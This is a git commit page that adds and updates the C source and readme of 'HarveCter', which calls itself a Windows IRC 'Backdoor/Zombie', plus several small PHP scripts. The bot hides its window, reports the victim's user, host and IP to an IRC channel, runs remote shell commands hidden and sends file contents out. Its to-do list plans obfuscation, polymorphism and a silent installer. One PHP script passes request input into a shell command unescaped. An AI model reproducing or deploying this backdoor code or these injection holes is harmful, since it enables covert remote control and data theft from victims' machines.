newer version of HarveCter + some funny php scripts
authorHarvie <tomas@mudrunka.cz>
Tue, 25 May 2010 00:31:19 +0000 (02:31 +0200)
committerHarvie <tomas@mudrunka.cz>
Wed, 26 May 2010 21:45:13 +0000 (23:45 +0200)
c/HarveCter/HarveCter.dev [new file with mode: 0644]
c/HarveCter/Makefile.win [new file with mode: 0644]
c/HarveCter/harvecter.c [changed mode: 0755->0644]
c/HarveCter/harvecter.nfo [changed mode: 0755->0644]
php/.cdtray.php [new file with mode: 0644]
php/404.php [new file with mode: 0755]
php/speech.php [new file with mode: 0755]
php/torrentbot.php [new file with mode: 0644]

diff --git a/c/HarveCter/HarveCter.dev b/c/HarveCter/HarveCter.dev
new file mode 100644 (file)
index 0000000..f3bfa2d
--- /dev/null
@@ -0,0 +1,59 @@
+[Project]\r
+FileName=HarveCter.dev\r
+Name=HarveCter\r
+UnitCount=1\r
+Type=1\r
+Ver=1\r
+ObjFiles=\r
+Includes=\r
+Libs=\r
+PrivateResource=\r
+ResourceIncludes=\r
+MakeIncludes=\r
+Compiler=\r
+CppCompiler=\r
+Linker=../../../../../Dev-Cpp/lib/libws2_32.a_@@_\r
+IsCpp=0\r
+Icon=\r
+ExeOutput=\r
+ObjectOutput=\r
+OverrideOutput=0\r
+OverrideOutputName=HarveCter.exe\r
+HostApplication=\r
+Folders=\r
+CommandLine=\r
+UseCustomMakefile=0\r
+CustomMakefile=\r
+IncludeVersionInfo=0\r
+SupportXPThemes=0\r
+CompilerSet=0\r
+CompilerSettings=0000000001001001000000\r
+\r
+[Unit1]\r
+FileName=harvecter.c\r
+CompileCpp=0\r
+Folder=HarveCter\r
+Compile=1\r
+Link=1\r
+Priority=1000\r
+OverrideBuildCmd=0\r
+BuildCmd=\r
+\r
+[VersionInfo]\r
+Major=0\r
+Minor=1\r
+Release=1\r
+Build=1\r
+LanguageID=1033\r
+CharsetID=1252\r
+CompanyName=\r
+FileVersion=\r
+FileDescription=Developed using the Dev-C++ IDE\r
+InternalName=\r
+LegalCopyright=\r
+LegalTrademarks=\r
+OriginalFilename=\r
+ProductName=\r
+ProductVersion=\r
+AutoIncBuildNr=0\r
+\r
diff --git a/c/HarveCter/Makefile.win b/c/HarveCter/Makefile.win
new file mode 100644 (file)
index 0000000..643380f
--- /dev/null
@@ -0,0 +1,30 @@
+# Project: HarveCter\r
+# Makefile created by Dev-C++ 4.9.9.2\r
+\r
+CPP  = g++.exe -D__DEBUG__\r
+CC   = gcc.exe -D__DEBUG__\r
+WINDRES = windres.exe\r
+RES  = \r
+OBJ  = harvecter.o $(RES)\r
+LINKOBJ  = harvecter.o $(RES)\r
+LIBS =  -L"C:/Dev-Cpp/lib" ../../../../../Dev-Cpp/lib/libws2_32.a  -g3 \r
+INCS =  -I"C:/Dev-Cpp/include" \r
+CXXINCS =  -I"C:/Dev-Cpp/lib/gcc/mingw32/3.4.2/include"  -I"C:/Dev-Cpp/include/c++/3.4.2/backward"  -I"C:/Dev-Cpp/include/c++/3.4.2/mingw32"  -I"C:/Dev-Cpp/include/c++/3.4.2"  -I"C:/Dev-Cpp/include" \r
+BIN  = HarveCter.exe\r
+CXXFLAGS = $(CXXINCS)   -fexpensive-optimizations -O3 -g3\r
+CFLAGS = $(INCS)   -fexpensive-optimizations -O3 -g3\r
+RM = rm -f\r
+\r
+.PHONY: all all-before all-after clean clean-custom\r
+\r
+all: all-before HarveCter.exe all-after\r
+\r
+\r
+clean: clean-custom\r
+       ${RM} $(OBJ) $(BIN)\r
+\r
+$(BIN): $(OBJ)\r
+       $(CC) $(LINKOBJ) -o "HarveCter.exe" $(LIBS)\r
+\r
+harvecter.o: harvecter.c\r
+       $(CC) -c harvecter.c -o harvecter.o $(CFLAGS)\r
old mode 100755 (executable)
new mode 100644 (file)
index 635704b..7bd1d9d
@@ -1,7 +1,7 @@
 /*
-HarveCter IRCBot 1.0b
-This 31337 code by: Harvie 2oo7
-Windows IRC Bot/Zombie/Whatever you want...
+HarveCter IRCBot 1.0b-RC1
+This "313373" code by: Harvie 2oo7
+Minimalistic Windows IRC Bot/Zombie/Whatever you want...
 
 INFO:
 Optimalized for Dev-Cpp
@@ -20,9 +20,10 @@ Warning: all commands are case sensitive
 !chanpass               //Set mode +k
 
 PRIVILEGED COMMANDS:
-!SAY [msg]              //Say msg
-!CMD [shell command]    //Execute command @ zombie
-!raw [line to send]     //Sends raw line to server (you can OP yourself)
+!SAY  [msg]             //Say msg
+!CMD  [shell command]   //Execute command @ zombie
+!head [file to send]    //Send few (maxlines_to_send) lines of file
+!raw  [line to send]    //Sends raw line to server (you can OP yourself)
 !info                   //Info about zombie
 !time                   //Localtime @ zombie
 !show                   //Show console window
@@ -31,10 +32,10 @@ PRIVILEGED COMMANDS:
 !respawn                //Restart whole zombie
 
 Development comments:
-6 * 128 == 768 == Maximum lenght of IRC message (RFC)
+
 */
 
-//Preproc:
+//PREPROC:////////////////////////////////////////////////////////////////
 #include <stdio.h>
 #include <time.h>
 #include <stdlib.h>
@@ -42,37 +43,99 @@ Development comments:
 #include <windows.h>
 #pragma comment(lib,"ws2_32.a");
 
+//SETTINGS:///////////////////////////////////////////////////////////////
+    char server[] = "irc.2600.net"; //IRC Server
+    int port = 6667; //Port of IRC Server
+    char channel[] = "#hv"; //IRC Channel
+    char pass[] = "test"; //Bot Password
+    char chanpass[] = "lol"; //Channel Password
+    char rcfile[] = "hircb.rc.bat"; //Run this file hidden at bot startup
+    int maxlines_to_send = 3; //Number of max lines to send at one time
+    #define DEBUG //Enables printing/loging
+    #define ENABLE_EXEC //Compile !CMD
+//MAGICS://///////////////////////////////////////////////////////////////
+    #define CONNECT_CHECKER_SLEEP 20000
+    #define CONNECT_FAIL_SLEEP 5000
+    #define IRC_JOIN_SLEEP 2000
+    #define IRC_RETRY_SLEEP 1000
+    #define MAXCHARS 768 //Maximum lenght of IRC message (RFC - 6 * 128 = 768)
+//MISC:///////////////////////////////////////////////////////////////////
+    char version[] = "1.0b-RC1"; //Bot version
+    char cmdfile[] = "zzzcommands.bat";
+    char nick[128] = "Harvecter"; //Doesn't matter - Username of active user (via getenv()) will be used instead
+
+
+//
+//FUNCTIONS://///////////////////////////////////////////////////////////
+
+//CUT String to 768 characters
+void irc_cut_text(char *line) {
+           *(line+MAXCHARS) = 0;
+           *(line+MAXCHARS-1) = '\n';
+     }
+
 //Sends IRC message "msg" to "channel" over socket "s".       
 int irc_sendmsg(int s, char *channel, char *msg) {
     int len, err;
     char snd[1024];
+    irc_cut_text(&msg);
     sprintf(snd, ": PRIVMSG %s :%s\n", channel, msg);
+    irc_cut_text(&snd);
     len = strlen(snd);
     err = send(s, snd, len, 0);
+    #ifdef DEBUG
     printf("%s", snd); //Show
+    #endif
     return err;
     }
 
+//This is thread to check/ping irc connection on background
+int irc_check_socket = -1;
+int irc_check_last = 0;
+int irc_check_thread() {
+     unsigned char ping[] = "PING\n";
+     int irc_check_time, len, err;
+     while(irc_check_last <= 0) sleep(500);
+     while(1) {
+         sleep(CONNECT_CHECKER_SLEEP);
+         #ifdef DEBUG
+           puts("Checking connection...");
+         #endif
+         if(irc_check_socket >= 0) {
+             #ifdef DEBUG
+             puts("Pinging IRC Server...");
+             #endif
+             err = send(irc_check_socket, ping, strlen(ping), 0);
+             sleep(1500);
+             #ifdef DEBUG
+             printf("Server latency: %d\n", time(0)-irc_check_last-1.5);
+             #endif
+             if(time(0)-irc_check_last > (CONNECT_CHECKER_SLEEP/1000)+10 || err == -1) {
+                 #ifdef DEBUG
+                 puts("Server not responding - disconnecting!\n\n");
+                 #endif
+                 closesocket(irc_check_socket);
+                                      
+             }
+         }
+     }
+}
+
 //MAIN_FUNCTION://////////////////////////////////////////////////////////
-int main(int argc, char *argv[]) {
-    
-//SETTINGS:///////////////////////////////////////////////////////////////
-    char server[] = "irc.2600.net"; //IRC Server
-    int port = 6667; //Port of IRC Server
-    char channel[] = "#hv"; //IRC Channel
-    char pass[] = "test"; //Bot Password
-    char chanpass[] = "lol"; //Channel Password
-    char rcfile[] = "hircb.rc.bat"; //Run this file hidden at bot startup
-//MISC:///////////////////////////////////////////////////////////////////
-    char version[] = "1.0b"; //Bot version
-    char nick[128] = "Harvecter"; //Doesn't matter - Username of active user will be used instead
-    char cmdfile[] = "zzzcommands.bat";
-    //AllocConsole(); //Ukazat
-    //FreeConsole(); //Schovat... ;)
+int main(int argc, char *argv[]) {   
+
+//MORE SETTINGS://////////////////////////////////////////////////////////
+    //AllocConsole(); //Show
+    //FreeConsole(); //Hide... ;)
     //freopen("log.txt", "ab", stdout); //Log all outputs to file
 //INITIALIZATIONS:////////////////////////////////////////////////////////
+    #ifndef DEBUG
+            fclose(stdout);
+            fclose(stdin);
+    #endif
     srand(time(0));
-    char lclhost[256], lclhostnm[256], hostmsg[1000];
+    int i;
+    unsigned char lclhost[256], lclhostnm[256], hostmsg[1000], linebuf[600];
     char *user, *processor, *root, *logonsrvr, *os, rnd[10];
     //Load enviroment variables
     user = getenv("USERNAME");
@@ -89,18 +152,30 @@ int main(int argc, char *argv[]) {
     time_t cas;
     //cmd
     FILE *cmdf;
+    //Start connection checking thread:
+            unsigned checker_thread_id;
+            unsigned long checker_handle;
+            checker_handle = _beginthreadex( NULL, 0, irc_check_thread, 0, 0, &checker_thread_id);
+            if (checker_handle == 0) {
+               #ifdef DEBUG
+                 puts("Cannot create connection watching thread!");
+               #endif
+                  return(20);
+            }
 //////////////////////////////////////////////////////////////////////////
 //CODE:///////////////////////////////////////////////////////////////////
 //////////////////////////////////////////////////////////////////////////
 
     //Delete cmdfile (Hell knows it's useful...)
     cmdf = fopen(cmdfile, "w");
-    fprintf(cmdf, "del %s\n", cmdfile);
+    fprintf(cmdf, "del %s 2>nul\n", cmdfile);
     fclose(cmdf);  
     WinExec(cmdfile,SW_HIDE);
     
     //Print banner
+    #ifdef DEBUG
     printf("HarveCter IRCBot v%s\nConnecting: %s@%s:%i as %s\n\n", version, channel, server, port, nick);
+    #endif
     //Execute startup script
     WinExec(rcfile,SW_HIDE); //Run rcfile (hidden)
     
@@ -113,8 +188,10 @@ int main(int argc, char *argv[]) {
     
     //Set details for WSA
     while( (host=gethostbyname(server)) == NULL){ //Host
+        #ifdef DEBUG
         printf("!Error server host not found\nwaiting 5s...\n");
-        sleep(5000);                                 
+        #endif
+        sleep(CONNECT_FAIL_SLEEP);                                 
     }
     sck.sin_family = PF_INET;
     memcpy(&sck.sin_addr.s_addr, host->h_addr, host->h_length);
@@ -122,13 +199,17 @@ int main(int argc, char *argv[]) {
     
     //Info at localhost
     while ((localhost=gethostbyname("")) == NULL) {
+        #ifdef DEBUG
         printf("!Error local host not found\nwaiting 5s...\n");
-        sleep(5000);  
+        #endif
+        sleep(CONNECT_FAIL_SLEEP);  
         }
         sprintf(lclhostnm, "%s", localhost->h_name);
         sprintf(lclhost, "%s", inet_ntoa(*((struct in_addr *)localhost->h_addr)));
-        sprintf(hostmsg, "USER: %s at HOST: %s ( IP: %s ) SERVER: %s - OS: %s (%s) - ARCH: %s\n", user, lclhostnm, lclhost, logonsrvr, os, root, processor);
+        sprintf(hostmsg, "USER: %s at HOST: %s ( IP: %s ) SERVER: %s - OS: %s (%s) - ARCH: %s - VERSION: %s\n", user, lclhostnm, lclhost, logonsrvr, os, root, processor, version);
+        #ifdef DEBUG
         printf("%s\n", hostmsg);
+        #endif
     
     //Initialization of strings used for IRC communication, etc...
     int len, err; //Lenght, Error
@@ -136,29 +217,34 @@ int main(int argc, char *argv[]) {
     
     //Infinite loop (bot can't stop)
     while(1) {
+    irc_check_socket = -1; //disable connection checking
     
     //Create socket
     s=socket(AF_INET, SOCK_STREAM, 0);
     
     //Connect
     while( ( connect(s, (struct sockaddr *)&sck, sizeof(sck)) ) ) {
+        #ifdef DEBUG
         printf("!Error while connecting\nwaiting 5s...\n");
-        sleep(5000);
-        }   
+        #endif
+        sleep(CONNECT_FAIL_SLEEP);
+        }
+    irc_check_socket = s; //enable connection checking for socket s
     
     //IRC Server login
     sprintf(snd, "USER USER %s # # :%s\nNICK %s\nJOIN %s\n", nick, nick, nick);
+    irc_cut_text(&snd);
     len = strlen(snd);
     err = send(s, snd, len, 0);
 
     //Join&Set channel password
     sprintf(snd, "JOIN %s %s\n", channel, chanpass); len = strlen(snd); err = send(s, snd, len, 0);
-    sleep(1000);
+    sleep(IRC_RETRY_SLEEP);
     err = send(s, snd, len, 0);
     //mode #chan +k heslo
-    sleep(2000);
+    sleep(IRC_JOIN_SLEEP);
     sprintf(snd, "MODE %s +n+s+k %s\n", channel, chanpass); len = strlen(snd); err = send(s, snd, len, 0);
-    sleep(1000);
+    sleep(IRC_RETRY_SLEEP);
     err = send(s, snd, len, 0);
              
        
@@ -170,7 +256,7 @@ int main(int argc, char *argv[]) {
     
     //Loop (while connection exists)
     err = 1;
-    while( err && err != -1) {
+    while(err && err != -1) {
              
              //JOIN
              sprintf(snd, "JOIN %s %s\n", channel, chanpass); len = strlen(snd); err = send(s, snd, len, 0);
@@ -178,22 +264,32 @@ int main(int argc, char *argv[]) {
              //RECIEVE
              memset(rcv, '\0', 1024);
              sub = 0;
-             err = recv(s, rcv, 1024, 0);
+             err = recv(s, rcv, 1020, 0);
+             irc_cut_text(&rcv);
+             #ifdef DEBUG
              printf("%s", rcv);
+             #endif
+             irc_check_last = time(0); //For connection checker
              
              //PING-PONG (Respond to server pings only)
              if ( (sub = (strstr(rcv, "PING :"))) ) {
                 sub = sub+6;
                 sprintf(snd, "PONG :%s", sub);
+                irc_cut_text(&snd);
                 len = strlen(snd);
                 err = send(s, snd, len, 0);
+                #ifdef DEBUG
                 printf("%s", snd);
+                #endif
                 }
              sub = 0;
              
              if ( (sub = (strstr(rcv, ":!chanpass"))) ) {
+                #ifdef DEBUG
                 printf("!Setting chanpass\n");
+                #endif
                 sprintf(snd, "MODE %s +n+s+k %s\n", channel, chanpass);
+                irc_cut_text(&snd);
                 len = strlen(snd);
                 err = send(s, snd, len, 0);
              }
@@ -205,12 +301,16 @@ int main(int argc, char *argv[]) {
                 sprintf(passin, "%s", sub);
                 if ( strstr(passin, pass) ) {  //Use this condition to check login.
                    sprintf(msg, "Login succesful");
-                   irc_sendmsg(s, channel, msg);
+                   err = irc_sendmsg(s, channel, msg);
+                   #ifdef DEBUG
                    printf("\n!!!Login succesful\n");
+                   #endif
                 } else {
                    sprintf(msg, "Loged out");
-                   irc_sendmsg(s, channel, msg);
+                   err = irc_sendmsg(s, channel, msg);
+                   #ifdef DEBUG
                    printf("!!!Loged out\n\n");
+                   #endif
                 }
              }
              sub = 0;
@@ -234,10 +334,11 @@ int main(int argc, char *argv[]) {
                 
                 //TIME
                 if ( (sub = (strstr(rcv, ":!time"))) ) {
+                   #ifdef DEBUG
                       printf("Time\n");
-                      //struct tm t;
-                      
-                      cas = time(NULL);
+                      #endif
+
+                      cas = time(0);
                    p_st_cas = localtime(&cas);
                       
                    strftime(msg, 512, "%H:%M:%S (%p) - %d(%A) %m(%B) %Y - %Z", p_st_cas);
@@ -248,31 +349,63 @@ int main(int argc, char *argv[]) {
                 //SEND RAW
                if ( (sub = (strstr(rcv, ":!raw "))) ) {
                   sub = sub+6;
+                  irc_cut_text(&sub);
                   len = strlen(sub);
                   err = send(s, sub, len, 0);
                 }
                 sub = 0;
              
+                #ifdef ENABLE_EXEC
                 //SHELL
                 //Hey! Don't forget to download wget&curl in bot directory!! ;D
                 //With wget and curl you will be able to download and upload files...
                 if ( (sub = (strstr(rcv, ":!CMD "))) ) {
                    sub = sub+6;
-                   sprintf(snd, "%s", sub);
-                   printf("!CMD %s", snd);
+                   #ifdef DEBUG
+                   printf("!CMD %s", sub);
+                   #endif
                 
                    sprintf(msg, "Executing: %s", sub);
                    irc_sendmsg(s, channel, msg);
+                   #ifdef DEBUG
                    printf("!!! %s", msg);
+                   #endif
                    
                    FILE *cmdf = fopen(cmdfile, "w");
-                   fprintf(cmdf, "%s\ndel %s\n", snd, cmdfile);
+                   fprintf(cmdf, "%s\ndel %s\n", sub, cmdfile);
                       fclose(cmdf);
                    
                    WinExec(cmdfile,SW_HIDE); //Hide console window
                    //system(cmdfile); //Show console window
                 }
                 sub = 0;
+                #endif
+                
+                //SEND LINE OF FILE
+                if ( (sub = (strstr(rcv, ":!head "))) ) {
+                   sub = sub+7;
+                   #ifdef DEBUG
+                   printf("!head %s", sub);
+                   #endif
+                   
+                   for(i=0;i<strlen(sub);i++) {
+                         if(sub[i]=='\n' || sub[i]=='\r') sub[i]=0;
+                         
+                   }
+                   
+                   if((cmdf = fopen(sub, "r")) != NULL) {
+                     for(i=0;i<maxlines_to_send;i++) {
+                       fgets(linebuf, (600-1), cmdf);
+                       sprintf(msg, "%s: %s\n", sub, linebuf);
+                       irc_sendmsg(s, channel, msg);
+                       #ifdef DEBUG
+                       printf("-> %s", msg);
+                       #endif
+                     }
+                     
+                     fclose(cmdf);
+                   }
+                }
                 
                 //HIDE/SHOW
                 if ( (sub = (strstr(rcv, ":!hide"))) ) { FreeConsole(); } sub = 0;
@@ -285,7 +418,9 @@ int main(int argc, char *argv[]) {
                      closesocket(s);
                      sprintf(msg, "ERROR: Couldn't close socket :(");
                      err = irc_sendmsg(s, channel, msg);
+                     #ifdef DEBUG
                      printf("\nRESTARTING...\n\n");
+                     #endif
                 }
                 sub = 0;
                 
@@ -293,12 +428,16 @@ int main(int argc, char *argv[]) {
                 if ( (sub = (strstr(rcv, ":!respawn"))) ) {
                      sprintf(msg, "Please wait while respawning...");
                      err = irc_sendmsg(s, channel, msg);
+                     #ifdef DEBUG
                      printf("\nRESPAWNING...\n\n");
+                     #endif
                      closesocket(s);
                      execl(argv[0], NULL); //Exchange old process for new (argv[0])
                      sprintf(msg, "ERROR: Couldn't respawn :(");
                      err = irc_sendmsg(s, channel, msg);
+                     #ifdef DEBUG
                      printf("ERROR: Couldn't respawn :(\n");
+                     #endif
                 }
                 sub = 0;
                 
@@ -307,11 +446,13 @@ int main(int argc, char *argv[]) {
     
     //Close
     closesocket(s);
+    #ifdef DEBUG
     printf("!Error while sending\nwaiting 5s before reconnect...\n");
-    sleep(5000);
+    #endif
+    sleep(CONNECT_FAIL_SLEEP);
     }//InfiniteLoopEND
         
-    //Zavrit
+    //Finito (never reach here)
     closesocket(s);
     WSACleanup(); //Flush WSA    
     return(0);
old mode 100755 (executable)
new mode 100644 (file)
index 38a3dd0..b1268d3
@@ -17,7 +17,7 @@
  <>   Name:                  HarveCter                                                                <>\r
  <>   Subject:               IRC Bot                                                                  <>\r
  <>   Description:           Remote Control/Backdoor/Zombie/etc... Everything is controled by IRC     <>\r
- <>   Version:               1.0b                                                                     <>\r
+ <>   Version:               1.0                                                                     <>\r
  <>                                                                                                   <>\r
  <>  <>DETAILS                                                                                        <>\r
  <>   Platform:              Microsoft Windows (Tested on XP SP2)                                     <>\r
@@ -58,6 +58,7 @@ rather than sending bots directly to one server (as irc.2600.net:6667)!!!
 - !SAY [msg]                  //Say msg\r
 - !CMD [shell command]        //Execute command @ bot (hidden console window)\r
 - !CMD start [shell command]  //Execute command @ bot (show console window)\r
+- !head [file to send]        //Send few (maxlines_to_send) lines of file\r
 - !raw [line to send]         //Sends raw line to server (you can OP yourself)\r
 - !info                       //Info about zombie\r
 - !time                       //Local time @ zombie\r
@@ -84,7 +85,7 @@ This binary must be fully controlled from CLI (command line).
 - Runtimes          - Unix(CygWin), Java(JArX) PHP, Perl, Python\r
 - NirCMD2           - (nircmdc.exe) Work with special windows features (mouse,gui,system functions,...)\r
 - CLAmp (clamp.exe) - Winamp Control (Yeah! What do you expected???)\r
-- Anything else     - DoS, mailing (Don't do any ilegal stuff with this - yust testing!!!)\r
+- Anything else     - DoS, mailing (Don't do any ilegal stuff with this - just testing!!!)\r
 \r
  <>Recommendations:\r
 - Use some free DNS service to move zombies across servers.\r
@@ -94,7 +95,9 @@ This binary must be fully controlled from CLI (command line).
 \r
  <>Version history:\r
 - future  - Maybe some bugfixes\r
-- 0.1b    - bugfixes (cmdfile), Implemented "!respawn"\r
+- 1.0     - Fixed for overflows, checked bounds, etc..., reformated/reidented source\r
+- 1.0bRC1 - Implemented Connection checker (new thread), Implemented "!line"\r
+- 1.0b    - Bugfixes (cmdfile), Implemented "!respawn"\r
 - 0.9     - Executing hircb.rc.bat at startup, first use "In the Wild" -> found bugs, need "!respawn"\r
 - 0.8     - Hidden execution\r
 - 0.7     - Implemented "!info" & "!time"\r
@@ -102,6 +105,15 @@ This binary must be fully controlled from CLI (command line).
 - 0.5     - Implemented "!CMD" function\r
 - other   - I can't remember ;D\r
 \r
+ <>To Do:\r
+- Need SSL to Rock!\r
+- Binary obfuscation better than UPX\r
+- Polymorfism?\r
+- Test binary on "W0W MS OS Vista" (sorry, im running Linux ;)\r
+- Implement some minimalistic hack, which allows you to download wget\r
+- Utility for changing bot settings by direct binary patching without recompiling\r
+- Automatic silent installer\r
+\r
  <>Terms of use:\r
 - Use it like you want [use, change, abuse]!\r
 - There is no warranty, because this is free of charge for you!\r
@@ -110,4 +122,4 @@ This binary must be fully controlled from CLI (command line).
 \r
  <>=====0=======================================================================================1=====<>\r
  <>======0=======================================================================================1====<>\r
- <>====000=============================================================== <-- Harvie 2oo7 =====111====<>\r
+ <>====000============================================================= <-- Harvie 2oo7/8 =====111====<>\r
diff --git a/php/.cdtray.php b/php/.cdtray.php
new file mode 100644 (file)
index 0000000..66a83de
--- /dev/null
@@ -0,0 +1,14 @@
+<a href="?q=eject">Eject</a>
+<a href="?q=close">Close</a>
+<?php
+
+if(isset($_GET["q"])) { 
+    $q = $_GET["q"];
+    if($q == "eject") system("eject");
+    if($q == "close") {
+      system("umount /cdrom");
+      system("eject -t");
+    }
+}
+
+?>
diff --git a/php/404.php b/php/404.php
new file mode 100755 (executable)
index 0000000..1fdaee1
--- /dev/null
@@ -0,0 +1,58 @@
+<?php
+       $request = $_SERVER['REDIRECT_URL'];
+       $host = $_SERVER['HTTP_HOST'];
+       $proto = 'http';
+       if(!(trim($_SERVER['HTTPS']) == '')) $proto = 'https';
+
+       if(!eregi('www\\.', $host)) {
+               header('Location: '.$proto.'://www.'.$host.$request);
+       }
+
+       $desc = trim(strtr($request, '/\\', '  '));
+       $url = $desc.' site:'.$host;
+       $cache_url = 'cache:'.$host.$request;
+
+       $desc = htmlspecialchars($url);
+       $cache_desc = htmlspecialchars($cache_url);
+
+       $url = urlencode($url);
+       $cache_url = urlencode($cache_url);
+
+       $request = htmlspecialchars($request);
+       $link = "<a href='http://google.com/search?q=$url'>$desc</a>";
+       $link_cache = "<a href='http://google.com/search?q=$cache_url'>$cache_desc</a>";
+?>
+<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
+<html><head>
+<title><?php echo($request); ?> - 404 Not Found</title>
+<link rel="stylesheet" href="/_common/harvie.css" type="text/css" />
+</head><body>
+<table border="0" style="width:100%;"><tr>
+       <td>
+               <h1>404 Not Found</h1>
+               <p>The requested URL <?php echo($request); ?> was not found on this server.</p>
+               <p>You can try to google it: <?php echo($link); ?>.</p>
+               <p>You can also try to lookup google cache: <?php echo($link_cache); ?>.</p>
+               <p>Or you can visit my <a href="http://blog.harvie.cz/">blog</a>.</p>
+       </td>
+       <td>
+               <h1>404 Nenalezeno</h1>
+               <p>Požadovaná URL <?php echo($request); ?> nebyla na tomto serveru nalezena.</p>
+               <p>Můžete ji zkusit vygooglovat: <?php echo($link); ?>.</p>
+               <p>Můžete ji zkusit najít v google archivu: <?php echo($link_cache); ?>.</p>
+               <p>Nebo můžete navštívit můj <a href="http://blog.harvie.cz/">blog</a>.</p>
+       </td>
+</tr></table>
+
+<div style="text-align:center;"><h1>Big Brother's watching...</h1><img src="http://narcism.harvie.cz/1.jpg" /><br /><img src="http://img389.imageshack.us/img389/9341/resistaneisfutilern5.jpg" /></div>
+<div style="text-align:right;"><pre>
+     \./     
+    (o o)    
+oOOo-(_)-oOOo</div></pre>
+<hr>
+<address><?php echo($_SERVER['SERVER_SIGNATURE']); ?></address>
+
+</body></html>
+
+
+
diff --git a/php/speech.php b/php/speech.php
new file mode 100755 (executable)
index 0000000..f08cdca
--- /dev/null
@@ -0,0 +1,27 @@
+<title>Harvie's Remote TTS</title>
+<link rel="stylesheet" type="text/css" href="admin.css">
+
+<form action="?" method="GET">
+       <input type="text" name="tts">
+       <input type="password" name="pwd" value="<?php echo($_GET['pwd']); ?>">
+       <input type="submit" value="ODESLAT!">
+</form>
+
+<?php
+$passwd='posli';
+if($_GET['pwd'] != $passwd) die('<br />Wrong password!');
+$text=$_GET['tts'];
+echo("?tts=$text");
+
+function festival_say($text, $encoding='UTF-8') {
+        //Maybe you will need to SUID festival binary...
+       $festival = popen("iconv -c -t ISO-8859-2 -f $encoding | festival --tts", 'w');
+       fwrite($festival, $text);
+       fclose($festival);
+}
+
+festival_say($text);
+
+
+
+
diff --git a/php/torrentbot.php b/php/torrentbot.php
new file mode 100644 (file)
index 0000000..c69bc4c
--- /dev/null
@@ -0,0 +1,24 @@
+<pre>
+<h1>Torrent Search Bot</h1>
+<form action="?" method="GET">
+       <input type="text" name="q"><input type="submit" value="!SearchNow!">
+</form>
+
+<?php
+set_time_limit(0); 
+
+if(!isset($_GET['q'])) die('</pre>');
+$q = $_GET['q'];
+
+$q = urlencode($q);
+$q = "http://www.google.com/search?num=100&q=$q%20filetype%3Atorrent";
+echo("<a href=\"$q\">$q</a>\n\n");
+
+preg_match_all('(http:\/\/[_a-zA-Z0-9\.\-]+\.[a-zA-Z]{2,4}\/{1}[-_~&=\ ?\.a-z0-9\/]*)',htmlspecialchars_decode(@file_get_contents($q)), $torrents);
+//print_r($torrents);
+$torrents = $torrents[0];
+foreach($torrents as $torrent) if(eregi('\.torrent', $torrent)){
+       echo("<a href=\"$torrent\">$torrent</a>\n");
+}
+?>
+</pre>
This page took 0.451265 seconds and 4 git commands to generate.